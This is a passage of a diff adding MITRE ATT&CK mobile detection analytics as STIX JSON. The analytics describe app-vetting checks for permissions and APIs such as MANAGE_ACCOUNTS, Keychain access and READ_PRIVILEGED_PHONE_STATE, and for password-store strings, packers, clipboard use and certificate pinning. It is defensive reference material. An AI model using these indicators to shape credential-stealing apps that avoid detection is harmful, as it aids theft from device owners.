"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0633#AN1705", + "external_id": "AN1705" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1705", + "description": "Application vetting services may be able to detect known privilege escalation exploits contained within applications, as well as searching application packages for strings that correlate to known password store locations.\nMobile security products can potentially detect jailbroken devices.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Sensor Health", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f44bab9b-554c-4dc7-b57f-4011ce609c2b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0634#AN1706", + "external_id": "AN1706" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1706", + "description": "Application vetting services could look for usage of the `READ_PRIVILEGED_PHONE_STATE` Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cb4c4b76-3f6d-4387-ab20-74b461bbb211", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0634#AN1707", + "external_id": "AN1707" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1707", + "description": "Application vetting services could look for usage of the `READ_PRIVILEGED_PHONE_STATE` Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6bd50b74-5852-4800-b459-1c54d95348e3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0635#AN1708", + "external_id": "AN1708" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1708", + "description": "Monitor for API calls that are related to the AccountManager API on Android and Keychain services on iOS.\nApplication vetting services may look for `MANAGE_ACCOUNTS` in an Android application\u2019s manifest. Most applications do not need access to accounts, so extra scrutiny may be applied to those that request it.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cbb3d486-b7a3-44f0-a7c7-e2fbf668f6fa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0635#AN1709", + "external_id": "AN1709" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1709", + "description": "Monitor for API calls that are related to the AccountManager API on Android and Keychain services on iOS.\nApplication vetting services may look for `MANAGE_ACCOUNTS` in an Android application\u2019s manifest. Most applications do not need access to accounts, so extra scrutiny may be applied to those that request it.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--98dfbd23-232b-410a-bb71-25ba191ff746", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0636#AN1710", + "external_id": "AN1710" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1710", + "description": "System Network Connections Discovery can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2df1959e-8ec4-4193-9cb8-c089c78b4d1c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0637#AN1711", + "external_id": "AN1711" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1711", + "description": "The user can see persistent notifications in their notification drawer and can subsequently uninstall applications that do not belong.\nApplications could be vetted for their use of the `startForeground()` API, and could be further scrutinized if usage is found.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--bf0ff551-a5a7-40e5-bff9-f9405011b1f4", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f6be418e-3fed-4026-b665-f055465c7359", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0638#AN1712", + "external_id": "AN1712" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1712", + "description": "Mobile security products can detect which applications can request device administrator permissions. Application vetting services could be extra scrutinous of applications that request device administrator permissions.\nThe user can view applications with administrator access through the device settings, and may also notice if user data is inexplicably missing. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bfbe9c72-f373-4d03-a08a-1448f31dd92f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0639#AN1713", + "external_id": "AN1713" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1713", + "description": "Unexpected loss of radio signal could indicate that a device is being actively jammed.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--bf0ff551-a5a7-40e5-bff9-f9405011b1f4", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1e8d1470-1e76-4f6f-b2c9-633800c4478a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0639#AN1714", + "external_id": "AN1714" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1714", + "description": "Unexpected loss of radio signal could indicate that a device is being actively jammed.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--bf0ff551-a5a7-40e5-bff9-f9405011b1f4", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--964fc2e0-96fc-4992-b89a-8101d47b7d8c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0640#AN1715", + "external_id": "AN1715" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1715", + "description": "Application vetting services could potentially detect the usage of APIs intended for artifact hiding.\nThe user can examine the list of all installed applications in the device settings. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f3068304-de28-4efa-96a5-a360fc7ffc97", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0641#AN1716", + "external_id": "AN1716" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1716", + "description": "Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--369938c8-6b9e-4eb3-8105-eb76a373dc35", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0641#AN1717", + "external_id": "AN1717" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1717", + "description": "Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--31542445-39c5-4ae9-806f-09649581056a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0642#AN1718", + "external_id": "AN1718" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1718", + "description": "Application vetting services can detect when an application requests administrator permission.\nWhen an application requests administrator permission, the user is presented with a popup and the option to grant or deny the request. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e2f72131-14d1-411f-8e8c-aa3453dd5456", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4b2e7e2d-e1be-4829-9011-53eb5eca3dc6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0643#AN1719", + "external_id": "AN1719" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1719", + "description": "Application vetting services could detect usage of standard clipboard APIs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2f0ca83e-1318-4722-88b2-1bffedb5d127", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0643#AN1720", + "external_id": "AN1720" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1720", + "description": "Application vetting services could detect usage of standard clipboard APIs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--75a0da5c-9f2b-4e96-bb94-10c30f16a9a2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0644#AN1721", + "external_id": "AN1721" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1721", + "description": "Application vetting services could look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because as legitimate software may use packing techniques to reduce binary size or to protect proprietary code.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d4dc642d-922b-4476-ad3f-ba23c43702f5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0644#AN1722", + "external_id": "AN1722" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1722", + "description": "Application vetting services could look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because as legitimate software may use packing techniques to reduce binary size or to protect proprietary code.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--52a370ec-dca2-45e0-bba7-7384816945e8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0645#AN1723", + "external_id": "AN1723" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1723", + "description": "Mobile security products can often alert the user if their device is vulnerable to known exploits.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Sensor Health", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--81a49b9b-c8cf-438c-bea0-e09149f50b34", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0645#AN1724", + "external_id": "AN1724" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1724", + "description": "Mobile security products can often alert the user if their device is vulnerable to known exploits.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Sensor Health", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--05191336-6d06-41f7-babb-5d079e4168ae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0646#AN1725", + "external_id": "AN1725" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1725", + "description": "Application vetting services can detect certificate pinning by examining an application\u2019s `network_security_config.xml` file, although this behavior can be benign.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--613788f2-ad72-43f5-b5f7-a93e2adc70fa", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--93a35555-f71e-4230-9f2a-529a539e8612", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0646#AN1726", + "external_id": "AN1726" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1726", + "description": "Application vetting services can detect certificate pinning by examining an application\u2019s `network_security_config.xml` file, although this behavior can be benign.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--613788f2-ad72-43f5-b5f7-a93e2adc70fa", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0d22c60c-fd0b-47f8-abe4-2d661a73c653", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0647#AN1727", + "external_id": "AN1727" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1727", + "description": "Application vetting services can detect which broadcast intents an application registers for and which permissions it requests. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9b4be141-9743-4113-a5f6-2d1a019b0eeb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0648#AN1728", + "external_id": "AN1728" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1728", + "description": "Application vetting services can detect unnecessary and potentially abused location permissions.\nOn Android 10 and later, the system shows a notification to the user when an app has been accessing device location in the background.\nApplication vetting services can detect unnecessary and potentially abused API calls.\nThe user can review which applications have location permissions in the operating system\u2019s settings menu.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + 